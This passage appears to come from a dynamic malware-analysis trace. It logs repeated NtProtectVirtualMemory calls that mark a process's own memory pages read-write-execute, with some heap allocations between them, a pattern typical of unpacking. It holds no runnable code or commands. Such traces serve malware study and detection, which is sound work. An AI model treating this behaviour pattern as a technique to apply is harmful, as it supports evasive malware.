BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.181] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x3000) returned 0x930a60 [0240.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.199] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.291] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x92ea58) returned 1 [0240.296] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.306] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.377] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.388] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.399] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.410] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.433] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.530] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.724] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.771] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.792] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.851] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.884] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.895] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0240.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.052] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.063] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.121] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.132] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.143] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.190] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.200] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.211] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.250] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x4000) returned 0x933a68 [0241.256] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.269] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.318] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.378] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.394] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.454] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.473] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.503] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x930a60) returned 1 [0241.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.528] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x5000) returned 0x92da50 [0241.533] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x933a68) returned 1 [0241.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.695] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.756] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.766] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.776] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.841] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.851] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.861] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.937] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x1000) returned 0x932a58 [0241.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0241.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.003] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.083] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0242.093] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, 